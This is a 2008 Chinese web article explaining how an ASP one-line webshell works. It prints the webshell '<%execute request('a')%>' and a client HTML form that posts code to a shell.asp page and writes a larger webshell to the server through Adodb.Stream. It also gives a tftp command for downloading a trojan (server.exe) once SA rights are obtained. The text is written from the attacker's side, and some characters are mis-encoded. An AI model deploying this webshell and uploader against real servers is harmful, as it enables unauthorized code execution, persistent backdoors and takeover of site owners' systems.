asp一句話木馬原理分析
更新時(shí)間:2008年07月17日 19:29:10 作者:
一句話木馬插入到asp文件中 :這個(gè)是當(dāng)然,一句話木馬本身就是asp文件。能夠用IE訪問:能訪問,我們才可以提交數(shù)據(jù)..只要能訪問的都可以
通過HTTP協(xié)議來訪問
一句話木馬的使用范圍(我只列舉了2種):
1)只有數(shù)據(jù)庫備份的情況
數(shù)據(jù)庫備份成asp文件時(shí)候,不出現(xiàn)“ 編譯錯(cuò)誤,缺少腳本關(guān)閉標(biāo)志%>"
2)SA權(quán)限的時(shí)候,一般先寫入一句話,圖個(gè)方便..(當(dāng)然,直接tftp上傳鴿子運(yùn)行,那更快)
tftp -i ip get server.exe
一句話木馬<%execute request("a")%>的原理:
首先知道
execute()函數(shù),是用來執(zhí)行asp代碼的.就是負(fù)責(zé)執(zhí)行我們上傳的大馬,將馬交由asp.dll解析.上面的代碼<%execute request("a")%>可以這樣來解釋:
<%
if request("a")<>"" then execute request("a")
%>
如果a不為空的時(shí)候執(zhí)行.執(zhí)行什么呢?...
if a != 0
下面我們來看一下客戶端:
<form action=http://192.168.0.28/shell.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.CreateObject("Adodb.Stream") '創(chuàng)建Adodb.Stream組件..
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("dbbak.asp"),2
lP.Close
set lP=nothing
response.redirect "dbbak.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>要提交的數(shù)據(jù)</textarea><BR><center><br>
<input type=submit value=提交>
Adodb.Stream負(fù)責(zé)上傳讀取數(shù)據(jù)到服務(wù)器:
組件:"Adodb.Stream"
有下列方法:
Cancel 方法
使用方法如下
Object.Cancel
說明:取消執(zhí)行掛起的異步 Execute 或 Open 方法的調(diào)用。
WriteText 方法
使用方法如下:
Object.Write(Data,[Options])
說明:將指定的文本數(shù)據(jù)裝入對像中。
參數(shù)說明:Data 為指定的要寫入的內(nèi)容。
Options 寫入的選項(xiàng),可不指定,可選參數(shù)如下:
adWriteChar =0
adWriteLine =1
SaveToFile 方法
使用方法如下:
Object.SaveToFile(FileName,[Options])
說明:將對像的內(nèi)容寫到FileName指定的文件中
也就是我們保存木馬的文件名dbbak.asp
參數(shù)說明:FileName指定的文件
Options 存取的選項(xiàng),可不指定,可選參數(shù)如下:
adSaveCreateNotExist =1
adSaveCreateOverWrite =2
提交一句話木馬后,a的值為空 等待一個(gè)寫入的值 訪問http://www.***.com/**.asp就是等待的過程 如何準(zhǔn)備用execute()這個(gè)函數(shù)來執(zhí)行...
創(chuàng)建一個(gè)Adodb.Stream,負(fù)責(zé)把我們的大馬寫入到服務(wù)器當(dāng)中...
同時(shí),這個(gè)組件定義的變量SaveToFile定義了我們大馬的名字..dbbak.asp
提交到服務(wù)器后execute()函數(shù)檢測到a的值不為空了,所以就執(zhí)行了我們的大馬!
您可能感興趣的文章:
- 一句話木馬入侵EASYNEWS新聞管理系統(tǒng)
- JSP一句話木馬代碼
- asp.net jscript 一句話木馬
- asp,php一句話木馬整理方便查找木馬
- 一句話木馬的原理及利用分析(asp,aspx,php,jsp)
- asp實(shí)現(xiàn)讀取數(shù)據(jù)庫輸出json代碼
- 淺談ASP數(shù)據(jù)庫下載漏洞
- ASP.NET列出數(shù)據(jù)庫活躍鏈接的方法
- MySQL結(jié)合使用數(shù)據(jù)庫分析工具SchemaSpy的方法
- ASP通過ODBC連接SQL Server 2008數(shù)據(jù)庫的方法
- asp.net上傳文件到數(shù)據(jù)庫的解決方案
- ASP語言實(shí)現(xiàn)對SQL SERVER數(shù)據(jù)庫的操作
- asp控制xml數(shù)據(jù)庫的經(jīng)典代碼
- ASP網(wǎng)站中數(shù)據(jù)庫被掛木馬的解決方案
相關(guān)文章
在MsSql、Access兩種數(shù)據(jù)庫中插入記錄后馬上得到自動(dòng)編號(hào)的ID值
在MsSql、Access兩種數(shù)據(jù)庫中插入記錄后馬上得到自動(dòng)編號(hào)的ID值...2006-07-07